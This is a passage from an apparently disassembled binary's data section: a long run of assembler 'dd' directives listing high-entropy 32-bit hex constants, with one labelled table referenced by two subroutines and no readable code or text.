		dd 0C46513B0h, 0ECBED2B8h, 0A756DDC3h, 0CC9C5251h, 4124A59Eh
		dd 615C3975h, 0D7ACABA5h, 4DF732A9h, 0B9555AF4h, 3455BAB4h
		dd 602AFA5Ah, 6C5FC8BCh, 81F17652h, 0C58CE33Bh,	73B47EBBh
		dd 0E85217F9h, 0F6A7B95Bh, 0D01ADDDFh, 8117A1B8h, 0C0FA9464h
		dd 95CBBBBh, 2714BF9Ch,	9CBF9028h, 8AF2EF0Ch, 83392AC1h
		dd 52C16D07h, 4651EBAFh, 0EFE3D71Fh, 753E4B8h, 0CBC9F2A5h
		dd 50645D9Eh, 96B113B3h, 3BCD6BDCh, 0B807839Ch,	0D541A74Bh
		dd 5279F63Ch, 0E0F9DF0Dh, 562B2105h, 0BC46B949h, 0C6023318h
		dd 6E9927A3h, 0FCA80A06h, 0F69A805Ch, 6DC6AAC7h, 0EFBF40E7h
		dd 0A7D9160h, 15BF4708h, 2D10FDF1h, 6135B898h, 0BF55A2EAh
		dd 88A54EC0h, 0FC70BA8h, 0ABA2A325h, 0B91C456Fh, 0A51CDA3Fh
		dd 86615A30h, 0FC26349h, 0F4545730h, 0C7D00EB8h, 726BA574h
		dd 11AEDECBh, 2E5FEA2Fh, 869C850Fh, 0C566CDEBh,	0FF40FB0Eh
		dd 361E554Ch, 83EEFE2Ah, 0AF1C5EAFh, 60C11035h,	7B53F1Fh
		dd 0D8E80DC6h, 384E1C8Fh, 575D30BEh, 75BA4C29h,	3D78F3E2h
		dd 0B4D887E3h, 0FCA025C6h, 0C703EB15h, 5A14CDCDh, 0F88DEFEBh
		dd 1BBF0921h, 1C1F5E40h, 4774A7F6h, 49712C41h, 0EF465F9Ah
		dd 32A63967h, 817DFA94h, 0D94EB547h, 1AB9F8F1h,	0EA992A7Ah
		dd 0E32A29FEh, 5ABCC3B8h, 8DE1F898h, 21CFDD69h,	9D3E5E42h
		dd 0A751F9B2h, 90DAC36Dh, 0F8F4810h, 0B500662Eh, 8F8BA978h
		dd 63DDADD3h, 7C7973Ah,	0E73ADE7Eh, 99F8ACB8h, 0C507209Bh
		dd 6BCABFB0h, 3F16AB67h, 78A19DB7h, 0EE56FA98h,	5767B1BDh
		dd 0AFCF0AADh, 86E62A9Ah, 0EA481C8Dh, 1C92488Bh, 1703165Eh
		dd 0C5620294h, 0C590F8E7h, 0F0E339A0h, 16AEC670h, 0DAE6DF5Eh
		dd 0FC8FDABAh, 6B23B6CFh, 0CFDFA9A2h, 0A23A5792h, 0E291ADBDh
		dd 76B2E81Ah, 1C83160Bh, 2FA88853h, 0F8B24B1Eh,	5FE767Dh
		dd 0FFE9EB6Fh, 8D837CA5h, 968DDFA0h, 0EAC4E032h, 0D410CD49h
		dd 9AD7F7D4h, 7AAA2D5Ah, 6918B5D4h, 6A12568Bh, 0B4CD3C21h
		dd 289F4138h, 1529565Dh, 1732BAEEh, 0E4D5CCD3h,	40758C4h
		dd 0FBF014E9h, 6CF12141h, 6FB7DF46h, 0C4C35D65h, 0F9AA5522h
		dd 0AEE3F1B5h, 55E911BEh, 0F949EF06h, 6FB26487h, 0E841E269h
		dd 1BF37105h, 5340C29Fh, 0F73A5BDEh, 0F4E58D5Fh, 0CA27B4B2h
		dd 728D0F69h, 0C5BEFBE9h, 0FED3F217h, 0B219EBACh, 5758A812h
		dd 55236A2Dh, 340E7C9Eh, 0FA056E65h, 0EC0F7A55h, 0A568BA73h
		dd 0CFED2F31h, 9E9540BFh, 0A6208D9Bh, 0ECB9C75Fh, 338B48EAh
		dd 67061D75h, 9B3CA48Dh, 2C5E824Ah, 5010F1FAh, 8DFF7FB5h
		dd 3E7F6AD6h, 0A11D6B6Bh, 0BFBA0B4Fh, 93F62FC0h, 0ABA3CD1Fh
		dd 3AD58236h, 0FF7087E1h, 0C0A0B0BAh, 7B5C2863h, 0FB27503Ch
		dd 0AC804607h, 8B61C07Bh, 0BEBB5BCCh, 6D50E532h, 0ABE7FE4Ah
		dd 5F03041Bh, 0D86C0594h, 52116CDDh, 380AB7EAh,	9D529926h
		dd 14787C64h, 8DEEE92Dh, 0CFF11A8Ah, 20D5D6C3h,	0DF57628Dh
		dd 0B3FDD972h, 750C4E90h, 0E28BF279h, 0C3F0F93Dh, 0D8341C80h
		dd 625E37DFh, 0D1260A55h, 82CFF3F8h, 0AC58860Ch, 1ADE41A4h
		dd 593E45FAh, 0D89DFF94h, 0AB801B95h, 0E50FA92Ah, 0B1E094A6h
		dd 0F34AC16Fh, 2CC74181h, 62D13A9Dh, 431904BCh,	0B3B032Bh
		dd 0EEB5AC55h, 0EEA38B87h, 0FAD74620h, 0CC6B85C2h, 6D826D1Eh
		dd 6F8E89A9h, 857ABA6h,	19295159h, 607C078Bh, 0F7C2C384h
		dd 0D746761Dh, 4A977E5Fh, 359C8241h, 5DDFE1D4h,	0C199EA3h
		dd 0C6F0652Fh, 0E9FECD88h, 0A6F9F353h, 0C9A7F1CAh, 54854ED6h
		dd 0AE0E1DC5h, 0C79ABFA4h, 7A5655Ch, 0FD206B66h, 2B84B79Bh
		dd 0E6B6CBFEh, 6249D550h, 0EF214AE2h, 785FF6D0h, 0ED0E39D1h
		dd 0FA3F312Bh, 8164705h, 0A8DC095Ch, 45CD07C1h,	0E03BEDEEh
		dd 0D77E1384h, 0C38BAB74h, 13A137FFh, 47797708h, 4CD7D155h
		dd 0F60B7F49h, 98BE655h, 6C31309Ch, 3EE3ADA9h, 271B8BFAh
		dd 33AC4A1Eh, 0D0BBC5FFh, 0CBCCD61Fh, 0A43212B7h, 0E159AE23h
		dd 855DCB81h, 434BA0BDh, 5A429D25h, 3131BC7Dh, 4967C7EFh
		dd 0C0F71ACEh, 0FC523367h
dword_474244	dd 0CA44E01Fh, 743EC25Fh, 45DB8CFEh, 0EF966CD3h, 0D609AE2Eh
					; DATA XREF: sub_446314+4o
					; sub_446B93:loc_446BA2o
		dd 0CF4DAC52h, 83CA2554h, 3C7E27C3h, 3A1F85DAh,	9575D84Ch
		dd 3A178BAAh, 6BDD7395h, 3E960B44h, 73958EBFh, 486864ABh
		dd 0A98BA3A9h, 2EAFA741h, 0B78C9983h, 37246A1Bh, 5E60EB88h
		dd 0DE45466Ch, 6A4615BBh, 0F13262E1h, 1959A0EAh, 0CD43B795h
		dd 13063EF1h, 8EB4A283h, 0DF6E7816h, 0E2DBBAE1h, 29E13C94h
		dd 0BE8527CCh, 0F9EDDB15h, 9539F1DDh, 0D2023631h, 0F95E4F8Dh
		dd 0D29CE24Dh, 0A0E6EDA7h, 0FB6E4C17h, 0D34CD258h, 0DFD8BCC3h
		dd 0A46D5258h, 0E54A14DBh, 45F7F28Ah, 0AE1B0BD7h, 0BF0DC623h
		dd 43E4375Ah, 297AF4F7h, 5EA0E6B2h, 0F817DC29h,	2B8A14A2h
		dd 6F6BD86Dh, 6D29936Ch, 0FA968A1h, 0B87D50BEh,	49CE76BCh
		dd 0AF7F7533h, 254E223Fh, 0A972E1B4h, 5601A2BCh, 0AA465F4Dh
		dd 0EC568E5Ah, 5564B622h, 19014B3Ch, 0B523C6FAh, 74CB5DF4h
		dd 0A5515165h, 0DB402813h, 27DA3395h, 5EC7DC4Bh, 20678C60h
		dd 0AA82274Bh, 9907F25Ah, 0A28D8D20h, 0A0B3E533h, 0B4753485h
		dd 0EC2E6181h, 0F96BEABh, 9363D1FEh, 0A3A267Fh,	310FE7D0h
		dd 0CF35CFE4h, 684E4F86h, 1BE0EDE1h, 833796D1h,	0AB4B769Eh
		dd 9FEA1A72h, 0EFC2BC51h, 0BE16BF6Fh, 0AEAC837Ch, 0B627D02Dh
		dd 72E6AE79h, 62FBBAB6h, 0F03BEAD7h, 69532046h,	5E15B758h
		dd 0E4F3DD27h, 87E3874Eh, 0B7129D93h, 1FC0607Eh, 32F7524Bh
		dd 6736F880h, 8B68417Dh, 0B2C9A415h, 95419F54h,	2F9A52FFh
		dd 0CB455996h, 450C3FDEh, 97039E0Dh, 716C2BF4h,	18F6F2CBh
		dd 82B756C8h, 0CE074ADCh, 9AC213ECh, 0FB7DCBFBh, 0E2B8F7E5h
		dd 0A94D8CBDh, 4D0B0936h, 19DAA317h, 9DB42257h,	0B82CBF01h
		dd 398E2C98h, 0DFACC1FFh, 0B6880481h, 0DCFD8CECh, 2BF5898Ah
		dd 4EE2F8BAh, 0BC1C30A8h, 140F632Bh, 9D2F5BA7h,	4B6FBF1Fh
		dd 0CA2DFD24h, 0EB2A955Ah, 16BD3354h, 0F95806EDh, 54E86792h
		dd 0AEF67DCFh, 0BCAFFCF4h, 7DE355F6h, 92DC13DFh, 0B49F6034h
		dd 0B1BBFAD7h, 8BC96137h, 9411A8F3h, 0DD701DA7h, 76FE44D6h
		dd 0CED43EBFh, 31B9FF3Bh, 0E0C6C1E6h, 27593DC3h, 4927EDD0h
		dd 19A53796h, 451508D8h, 0B33A113Ah, 0EB0C4AE4h, 8896D63h
		dd 0BC329329h, 98FDE46Bh, 872840BBh, 0E4202586h, 0A2617815h
		dd 0FC89E2FCh, 0B7F2F48Ch, 9457BE3Dh, 0A5986E39h, 9AAD58B5h
		dd 0A362D578h, 0CDBF3EB7h, 0BC547843h, 65BCF72Ah, 92D98D8Ch
		dd 70EA0AAEh, 44068C9Fh, 0ACC03688h, 97379BF9h,	5D4FE1AAh
		dd 52AF0494h, 0E9902360h, 74D68F29h, 0E0C4D238h, 3AC1AF4Fh
		dd 0CCF64C7Ch, 0D2E7C8C1h, 0B36AAD12h, 6B57D3A6h, 78F676Fh
		dd 94D7BA37h, 0B80B18C0h, 5EA3D230h, 0FDD04456h, 74F68B59h
		dd 599ABE0Eh, 0A6664E0Bh, 0BD21BEC7h, 0D3685DB5h, 0B83A33BEh
		dd 44BAC868h, 0E517EBFh, 6420CB09h, 0FAD044AEh,	7678BF57h
		dd 7C3E92D1h, 831182FEh, 7EB3AA35h, 0AE8C4CAFh,	50F2281h
		dd 305DA9B8h, 0F2F9643h, 0AD77EBEBh, 0EFB9ACB7h, 8AA6A886h
		dd 0D931D73Ah, 0DFD425FBh, 5191FED9h, 7DA62868h, 264870D9h
		dd 0D1C77CE5h, 0F38EED5Eh, 3C4CDC66h, 4B21725Fh, 0F3F145E2h
		dd 8D915B7Fh, 0C9CE45D5h, 1DD37E20h, 0ACDA0DD7h, 58113C8h
		dd 8A72381Fh, 77FEDA15h, 2562FAB5h, 3B57FC1Fh, 944472EEh
		dd 0A490CA6Ah, 34DB47DBh, 76BA2666h, 0F3B38EA8h, 0A784A659h
		dd 108CBFF8h, 6404AB9Ch, 4884E145h, 158E519Bh, 795BF07Dh
		dd 0C677B623h, 0C99A5D69h, 64E625ACh, 0CF8AD297h, 462B1ABAh
		dd 579564D7h, 0FFDD2502h, 0CC3F9C90h, 40D2369Bh, 4F54FEFh
		dd 0FC8AEF16h, 20939B5Dh, 0BED3E17Fh, 8452EAE3h, 1A95D285h
		dd 0B107EBEh, 6AB518DCh, 8C393893h, 0D3D913F0h,	556910F5h
		dd 475631B4h, 341F9AA1h, 4B1EA114h, 6BB07C9Ch, 0A2B1686Dh
		dd 3DB4CADDh, 0F827C52h, 0E7E19C8Eh, 0D4870648h, 4B2B7F6Ch
		dd 0C099EDC1h, 2C63A02h, 0EAD2BB96h, 976FA41Dh,	0E72DED5Bh
		dd 6F1510AFh, 80291B6Fh, 58DD57F1h, 0CFEF48FDh,	0AAB0DE92h
		dd 0A542C2F2h, 8E76B334h, 8B25E5A9h, 0AEF371F2h, 0D5A34AD1h
		dd 0EFAE6168h, 587CDEA9h, 0E05F8744h, 3F40F17Dh, 0BE0BEB47h
		dd 303B3870h, 3A05A27Dh, 10A6F636h, 4E8E151Ah, 0D8CF22D1h
		dd 158028D2h, 0AC951C3Fh, 0A461BD3Ah, 617D2EF4h, 7BD9EC90h
		dd 0A419F1E5h, 2E853046h, 3F7C57F9h, 5736F430h,	0E9DCE67Ah
		dd 5E3099BEh, 868944D7h, 4CEF4024h, 2BFD2C97h, 0E4B980A4h
		dd 90551E52h, 97D9D961h, 0D81E5EB2h, 5BC4CD30h,	61A90F26h
		dd 843F7558h, 55769A8Ah, 448B1B13h, 8A38F84Fh, 8BB81305h
		dd 29FBB699h, 6AEEDC5Ah, 0A2B00685h, 496F7559h,	75AB5D56h
		dd 0E72BEC51h, 82FEB17Eh, 0EDC704D2h, 17F021F8h, 2EEAF008h
		dd 25DBA92Fh, 48051C18h, 9C0CF686h, 0C5C063BBh,	140AE25Dh
		dd 0FC3C58B5h, 53B075D3h, 377A4161h, 8C68580Ah,	6DDEFBF9h
		dd 0AD5E2EF5h, 0E1A6C9D5h, 74CCF4CAh, 678EDCBEh, 0F7446C9h
		dd 1948BAE6h, 2CF3376Ch, 71E6D705h, 30A0FCDFh, 0D6C31F66h
		dd 82B16F95h, 57B90F86h, 3B9250Ah, 0B21EF97h, 69CBD561h
		dd 1487FB86h, 3F463165h, 7F80F265h, 29B40CAFh, 0FDE0759Ch
		dd 0BD3960AEh, 533E4085h, 8BFB6331h, 8BBE0622h,	731D2E01h
		dd 919F71A3h, 719E6778h, 1BF53CE5h, 7E0F85FDh, 87A4B516h
		dd 30B118E2h, 18F67277h, 619758h, 7FD67628h, 0DCE9889Fh
		dd 0CAA42A15h, 0B34DA061h, 1E94D8F8h, 0F0B73D98h, 0D6986E11h
		dd 217BC3F0h, 0CFBE12FCh, 0B131FBF5h, 0CFF22E22h, 5E0410EDh
		dd 687FEAB8h, 0DED54ECEh, 2457A738h, 0FA8F1638h, 8D8BD942h
		dd 564B477Eh, 1E309C29h, 703DF111h, 6FFD7F7Bh, 0DCE77E55h
		dd 0E0411402h, 0B516E95Dh, 0AD4263D3h, 0FF242DE6h, 2CB3E2ABh
		dd 0E0F05EAAh, 0A3F20F47h, 305BA243h, 0AADFDFA9h, 0AF2A86Dh
		dd 0CAEBBD90h, 998DD748h, 0C670ABE0h, 272914F7h, 0F60EA6C1h
		dd 1BDE7D81h, 0A2AAF8E3h, 19EA16FAh, 59E062DFh,	0FB4AA840h
		dd 9AC22898h, 0C1279144h, 0F281E371h, 0AD550885h, 0A32F17C1h
		dd 5AD04631h, 2F820BEFh, 0C9DA1F5Ch, 1A2118BBh,	0B258198Bh
		dd 0C41BCF21h, 60B58EC1h, 45A3D089h, 30961700h,	990A7A9Ah
		dd 0F36EC572h, 2BD0B5A2h, 0B642FB41h, 7DE4B9ABh, 0FCE91B81h
		dd 21353102h, 0C12C9F5Bh, 6DFF2ED9h, 557C377Fh,	56EDA940h
		dd 1E29F06Fh, 0A7E4AC0Ah, 7AA613FDh, 9A1BA884h,	274A9908h
		dd 69F85FBEh, 71AEB45Bh, 0B6EDC0F9h, 0CC5F2212h, 993B879h
		dd 0D7A8BD7Dh, 7F0EF061h, 0B6D1DA45h, 0AB6A7BCEh, 6E1B7185h
		dd 0EFE1A5B6h, 6F73E091h, 0B18B80D0h, 150831AEh, 0DA2E492Ch
		dd 0BBA72A5h, 0C88AB2D8h, 2A656D13h, 94E96DF4h,	0E58F35AEh
		dd 9FAF6B49h, 0A279C4A6h, 0E2CA973Eh, 5F800C35h, 0E4A11FC4h
		dd 737EF2E9h, 0BF2AE497h, 428BFF78h, 0DA24AE04h, 6F4D8FE9h
		dd 85120BFFh, 92D7827Fh, 0F3653E95h, 564081FBh,	0C81E7095h
		dd 5E7A29B8h, 33F5C90Fh, 86B8F74Fh, 0BEA50ADAh,	68E21E66h
		dd 25917E1Dh, 0E7261EB1h, 0BD2A4FA1h, 0CB035296h, 128CE0Bh
		dd 0A4EB9C3Ah, 0ABA1B41h, 0E8D44C62h, 33728209h, 1F6AF4FDh
		dd 2FC8FC0Ch, 2331B160h, 0E8FDC04Ah, 3C2B10A1h,	0A3707173h
		dd 0FDD48717h, 0A285AAACh, 4E97CF35h, 37FD3886h, 0CB2EDAF5h
		dd 7152855Eh, 1F0013EDh, 0D186FF1Ah, 35CCF4Ah, 319DC735h
		dd 144394AFh, 0BF0F7F91h
		dd 0DF7911DFh, 4041A5E8h, 0C126F2B1h, 0C0F385F2h, 0E31A6350h
		dd 89FBE746h, 53A927DDh, 0D1D87D41h, 0FA93285Ah, 41A1DA7Eh
		dd 1E3FB561h, 0AE494F46h, 0A14494h, 8B81A6CFh, 8B1BA07Eh
		dd 0E94BBEF2h, 0DEABDDF8h, 53AEE69h, 0FABDAB56h, 0E2865F59h
		dd 3E18D49Ch, 865CFFA5h, 0D85D2A5Eh, 1D6DBCF7h,	6ABF436Eh
		dd 7CE5191Bh, 32EE5B95h, 0C760A237h, 11039B75h,	366BC75Ah
		dd 0EA75071Ch, 755F77A1h, 0C2AAF398h, 8D5F9468h, 3C6BC9B6h
		dd 42BE6F10h, 0A3B3332Ah, 0B68ADFA8h, 0E7746A37h, 1D9E24FDh
		dd 1ABDEEECh, 53FDA724h, 0DE77D401h, 3960C02Eh,	0EB41954Eh
		dd 1ADEF3F5h, 902B4E83h, 1414EDC4h, 0B2A895A4h,	0D48F1FDEh
		dd 0C5ACB083h, 0AFBC153h, 0A158F3E8h, 4AB98F8Ch, 2B424B8Fh
		dd 34FA7AAFh, 0C65DB60Fh, 0C2973727h, 0BAF50481h, 4DFD7B19h
		dd 93A8EA85h, 0D5C2E47Ah, 0E3C089F3h, 822BD2E5h, 9351A5EFh
		dd 31F0B2E1h, 76D531ACh, 3D262C97h, 6CACD0FFh, 0C182A424h
		dd 0ACFB197Ah, 0C3B2C90h, 0EB96D75Ah, 2D41AB77h, 995AC4F8h
		dd 0EBFEB55Dh, 12F70CEFh, 54BC6550h, 6EBD66D7h,	8765BD04h
		dd 60B7A8D2h, 0A1427687h, 0BF4C21EDh, 9BE5A64Ah, 3D6F513Bh
		dd 0BB548818h, 2CCA33B3h, 380D21BBh, 5C2FBA49h,	0C59A347Dh
		dd 769EDEDBh, 9E078835h, 959FEE1Ch, 31EFAD10h, 94AA80DAh
		dd 0ED87EDE4h, 0F5BFD607h, 0FD9595DBh, 5B4C7E32h, 939692CAh
		dd 0F52C1CEAh, 7C9CC91Bh, 2FB2507Eh, 7CA02DF4h,	21802EBAh
		dd 36BA80CBh, 0DB812B21h, 55E9E3FDh, 0FA2E607Ch, 8AFE65E2h
		dd 3D279652h, 0F6651496h, 4AC26F12h, 52B61971h,	0A436EF94h
		dd 0E5110E17h, 0ACF816E1h, 1F0A79ADh, 0DE2B9F42h, 228C6014h
		dd 0C4FD4A46h, 8754B3FFh, 5B3EBFCh, 0EC80BF70h,	0D56B0D22h
		dd 23ACC677h, 0F16946F2h, 0E501A5BAh, 0F7878BD0h, 3571FAEFh
		dd 81BAE32Dh, 0D372C02Fh, 5B64E795h, 3A6E570Eh,	3C0FAAF0h
		dd 0E799747Ch, 70B83BF7h, 0C5995257h, 0CBA850ACh, 2C7999EEh
		dd 0B95D7443h, 45F6C504h, 4E97F0D9h, 0A89AA5A0h, 773AC7C9h
		dd 0BF4F53C5h, 0FC3F6C42h, 0DA0B3484h, 8AFE1725h, 0AACD6D34h
		dd 0DFEE0E62h, 37D17613h, 311A18F8h, 0E26A47E2h, 0B87CD177h
		dd 0CC794812h, 0B628288Ah, 559748FBh, 6EA7AA87h, 6D8C4BBh
		dd 4E3BC3A7h, 0C918FD15h, 0C314BE4h, 0B1DA804h,	14B34E13h
		dd 6D487FCCh, 0DEFB7071h, 0C47476EEh, 0C0F542BEh, 6ABFA55Dh
		dd 0AA12A154h, 68AE4D4Eh, 0EFE31F9Fh, 0A94A335Ch, 0C1DDE60h
		dd 67D11D5h, 0D1E2F7D9h, 0F878A97Ah, 9534A82Fh,	0C2649556h
		dd 0F83C1925h, 17A6E5EEh, 1F5858E6h, 548E9622h,	2FF8100Eh
		dd 64992164h, 0F5459BDDh, 0FBD1F1F1h, 0A77510B0h, 17D1B751h
		dd 87561DDBh, 0F86AAC87h, 0EA46640Ah, 0B44FC626h, 403F47C7h
		dd 4696BC74h, 365FDB03h, 6D123A8Dh, 5D99902Ch, 263876F2h
		dd 0D0EDD0BAh, 0E5DB595Dh, 581E2A7Bh, 295D4928h, 91607EE2h
		dd 7B523758h, 9020F6FFh, 0DB5ABF40h, 719F55FCh,	3C81D8F0h
		dd 9D3056D2h, 7DAD4BBAh, 917844E7h, 2B9582B8h, 3605B03Ch
		dd 0F85156EDh, 0F6C75846h, 0EF833F9Bh, 36F96A04h, 0BFE6EA5Bh
		dd 48555BD2h, 5D1A15F8h, 0E3F91A5Bh, 0E420055Bh, 0E1DA1D73h
		dd 0A860536Eh, 0A73F3A05h, 0DDF2CDF9h, 2EDBF4A5h, 0B7497E38h
		dd 0F7DEE4CFh, 0AD89CA97h, 0F765EC51h, 17E37FBEh, 76AC04A2h
		dd 0F83FE42Eh, 657AF84Eh, 23B14738h, 2D2B5C4Ch,	2A8AFB7Ch
		dd 10E7D271h, 543899EDh, 11932D0Dh, 0C6716BBCh,	0E1DF7CDBh
		dd 1FD3284Eh, 0FB01BCA5h, 2F23855Ch, 175C0420h,	365157E4h
		dd 0E373C301h, 692B7787h, 514BEBF6h, 2AD7FDB9h,	1B1314CDh
		dd 598F58E4h, 0EEE51603h, 0ECA91716h, 16698DDBh, 97E6A073h
		dd 0BC9B2E50h, 0D893457h, 66F6EDBFh, 0C6630669h, 0F598B4A8h
		dd 0D3B13EDAh, 4B9AA580h, 36BA5203h, 0F6C6FA1Ah, 1F56FDC1h
		dd 779673B8h, 569712B3h, 0B7F6C3F1h, 81D1EEE6h,	3505DDC5h
		dd 0ED4C5D20h, 33C56B5h, 6F03A2A6h, 7464AE25h, 0FE3EEBEEh
		dd 0C1C1BD02h, 0D5FBDFF2h, 1970FBF0h, 6B86FB22h, 5F57F4F9h
		dd 9D74AFFBh, 1946DB9Dh, 0ABA8BAEh, 4B37B149h, 5C3BB204h
		dd 96CB8E03h, 0FDFA9134h, 0D4DF8AA2h, 0A4077E02h, 0CB69ACCFh
		dd 0B76B483h, 8C2E2424h, 2AD0D6D5h, 0FB450F22h,	779F44F2h
		dd 8AD41EB9h, 9B8983C0h, 97AA021Ah, 3A0E4B99h, 14AB80CCh
		dd 69D7FF88h, 20520ED3h, 4E0F87E0h, 9B24E507h, 0D5160D7Ch
		dd 0CA3BB06Fh, 5B68D15Ah, 29FC5525h, 0CFFBDD07h, 22A836Fh
		dd 0BEFA1775h, 0E4CC3C46h, 80499A89h, 0DA26C0B8h, 3CB918A8h
		dd 889F5C2Bh, 0F23AF33Ah, 0BBA65100h, 0A9A4D12Ch, 33D29CABh
		dd 3EDA84B0h, 87E17E5Ah, 0A6EAEF22h, 68D5771Dh,	71886CE5h
		dd 0CF9543EDh, 3DA38F8Fh, 0CF07C374h, 25E9B5Ah,	55C3C107h
		dd 3803CDC1h, 2B02EBE1h, 0FEE11F95h, 163553D5h,	54E274C3h
		dd 1BE84B6Ch, 24E1C12Dh, 0B7DDFEE3h, 0FD0449DFh, 8772FF85h
		dd 6337AA78h, 0DD5EAAA2h, 0E2C3BB6Ah, 0D30051F7h, 0A2422A52h
		dd 0A3AA8317h, 6ACAFDE1h, 6E128B54h, 0EDF21858h, 5DA0D6F3h
		dd 75EB2C46h, 0AFDA2975h, 77D00A9Fh, 755B970Dh,	0F5A01CC4h
		dd 0E1476EFBh, 0D8407D3Ch, 891E7B06h, 0DFAD6A56h, 515557D9h
		dd 21907078h, 92D75C53h, 3B475A48h, 2B2CEFF5h, 0E7D68291h
		dd 85FEA5B5h, 597E2E3h,	97CF7A0Eh, 0CA17F25Fh, 0ED3433B0h
		dd 0D3EDE1C4h, 28789902h, 73A9ECD9h, 0DDC04081h, 3D3BDAF1h
		dd 559E923Ah, 99502E3Ah, 0FF57C3D8h, 0EBF44698h, 2955407Eh
		dd 3AAD4196h, 3B33029Dh, 0EF35965h, 0AF753E88h,	0A3ECA48Bh
		dd 0E88A72C0h, 713B557h, 0BD227417h, 0E56499D5h, 91CA5C9Fh
		dd 0E3DC4630h, 0FA012275h, 330FABA2h, 5DE56EDAh, 3AB1C6FBh
		dd 8FBF80BEh, 4A9F9401h, 0FAD30AF1h, 0F3610A4Fh, 0EE4EE0E0h
		dd 9F8339D6h, 74650607h, 0FA4EB5E1h, 0B82EF8F4h, 0D3FAD230h
		dd 56D1D618h, 44A584CCh, 59AFF587h, 9D59AAB4h, 45D0F859h
		dd 0FBE17CEDh, 8F1FCCC4h, 0F2CA139Bh, 1B74C7F9h, 5474625Ch
		dd 0F4A9BE8Fh, 0A4C7C6Bh, 2B25A965h, 0E3D9CCD3h, 0B6B479AAh
		dd 0F30AD743h, 1DA377E1h, 7160F086h, 7D5F7D3Fh,	69135DB7h
		dd 76C0C50Ch, 74EED4B8h, 880AAB3Eh, 98FF2191h, 0BAA126D3h
		dd 76AEB4DCh, 0E11C2651h, 0D540AE69h, 0A6EE2BFEh, 0DF4112C4h
		dd 967BC90h, 0B2119686h, 0BBFC92CCh, 0B7DD7082h, 1A21FAD2h
		dd 2FF52586h, 67B7F81Ch, 0C3684E49h, 9CD03C7h, 7CE85584h
		dd 0F9B5DF49h, 29EABBB1h, 1FCFBAFFh, 0E2EFB533h, 560FB501h
		dd 2E36D85Dh, 0FB9C0EDDh, 0A6048E8Ah, 7BAEC973h, 0E65A86D2h
		dd 539FCABEh, 0C3714EF2h, 9BCA0AE9h, 0E8C25DC2h, 2FB16E6Fh
		dd 810F5396h, 0FF7165h,	9AEDAE7Fh, 2AAB2137h, 6AEEA2D9h
		dd 688B75D1h, 284A46F1h, 0DD5ABF87h, 0DB8DFFADh, 0FA917490h
		dd 0ABBD5ED1h, 76D0D0E8h, 8E44BA72h, 0D6E1496Ah, 0E6DCAE8Dh
		dd 2DE17DF8h, 0C97EE26Fh, 17F84473h, 0E89BFA74h, 0F47D2059h
		dd 862C5F5Dh, 71DB1FDEh, 4BBF5A50h, 0B4111D7Eh,	0D97F55D4h
		dd 0C3A96502h, 10E58B93h, 525D55ACh, 7299815Bh,	0A35219A5h
		dd 2079EF4h, 0F232E87Eh, 0F86F6C7Fh, 8FF8C27Ch,	7CDBFC64h
		dd 18920FDFh, 0A80C929h, 9AB88165h, 0B523A9ECh,	0EC6ACCAFh
		dd 18DEF471h, 0EF8C738Dh, 79F87C32h, 0D4AC13B5h, 4FD94AD9h
		dd 4A64AAFEh, 0DA29C90Fh
		dd 0ACB63538h, 0AFB4AA83h, 0A7D95008h, 23148A7Fh, 9C273327h
		dd 3C7D8A9Ah, 1C1D0FA3h, 1678B3ADh, 0CF5776EAh,	0C37D2A0Fh
		dd 0FD9DF7B9h, 0B152B219h, 7AFA45FFh, 0BF13EB65h, 88D85A85h
		dd 51A5069Fh, 860D00A6h, 1E7F06DBh, 0C7F07DBBh,	0D5E96A74h
		dd 4283A07Fh, 18AF94ECh, 37BA2AB1h, 82942A8Eh, 0EBFD1D20h
		dd 6F705562h, 82FBC3A2h, 785560C3h, 0C4AA61F9h,	0FE48B4A8h
		dd 0AA901F8Ch, 0EDE25B15h, 0DAC01CCCh, 42BE0B4Fh, 0E57E97EAh
		dd 6FE654B5h, 303F33ECh, 2765CEC8h, 0EBFD3F56h,	1D80A12Fh
		dd 5EEA6AB5h, 750130A9h, 3E117245h, 3B514C94h, 0CB5358C5h
		dd 1296542Ah, 564B65DFh, 0D9F51A7Ah, 4655B475h,	4E42FCEh
		dd 6F552B57h, 3C288FEDh, 9606AA83h, 36EBB62Fh, 0D13E9BD2h
		dd 140DC0B1h, 42F90A3Dh, 5C396830h, 0B413006Bh,	0AB505957h
		dd 83B377EFh, 797A2DE0h, 0ED6AB9E0h, 1A1FF31Dh,	3EEC9A04h
		dd 0D77982BBh, 75A1CC9Bh, 0AEA5B6C9h, 7C1F83Eh,	0FA820A87h
		dd 2ACE0A89h, 11ACA675h, 0F37240FDh, 0DFB44591h, 2B9EBD8h
		dd 0D6541266h, 0F0DD68DBh, 5157B946h, 45D9F5Dh,	57D869E6h
		dd 0C89A3739h, 4270EEFDh, 0DAFE7ED4h, 4DB7EF65h, 0AF169019h
		dd 0B45E128Dh, 6F479556h, 0B2ADB7D1h, 983E267h,	0DD972A92h
		dd 0A8D4272Ah, 4332E31Dh, 97BAAFC1h, 0B47AF28Bh, 0CFEA3C05h
		dd 697CB607h, 14D1B3C3h, 0B3F71E3Ch, 5D0FEE64h,	0AA43B506h
		dd 0C6EBE97Dh, 1595137h, 7C4B564h, 351A7497h, 1496F85Ah
		dd 0C34C17C9h, 9CA8CA9Ch, 7A4A2673h, 0D55F669Ah, 2009AE17h
		dd 0DBE46626h, 0C8F3981Fh, 0E2B369D1h, 8BFA230Bh, 480D75ABh
		dd 252E1DB5h, 0E80863B0h, 0AE194A27h, 448C157Fh, 4677FF4Fh
		dd 0C7253ADFh, 0BAC1B5D7h, 6A42B2E4h, 0AF576968h, 94731126h
		dd 0A555DAC0h, 27D1B2B7h, 0D741926Bh, 91CF4DD2h, 1388091h
		dd 6C8A577Bh, 77A2F618h, 4D4DDCBBh, 0AB6385C6h,	1BD48386h
		dd 2FEE8BEFh, 6F3FFA56h, 9D101B9Eh, 327B66BDh, 0C356C997h
		dd 0E1F87055h, 0F5F4DEF4h, 58446981h, 75F93645h, 0F8E99163h
		dd 399265D1h, 7E93CDBEh, 11E2FCABh, 0EF589CB0h,	0A759DE6Fh
		dd 55DF20A1h, 10994187h, 0AFAD91FDh, 9D90CBAAh,	0CC0EEA46h
		dd 0A933D29Fh, 93095C4Bh, 0BEC04044h, 15E47C3h,	0D10F4D92h
		dd 0EF5BBDAEh, 0BB69A5FCh, 0D3B88FEEh, 2621BC03h, 0DDCBDC0Fh
		dd 3B9A9AFCh, 4166F07Bh, 0AA553115h, 54EABF8h, 604219DFh
		dd 266329Bh, 398A46B2h,	0D89A3221h, 0AEB6AC3Dh,	7118D711h
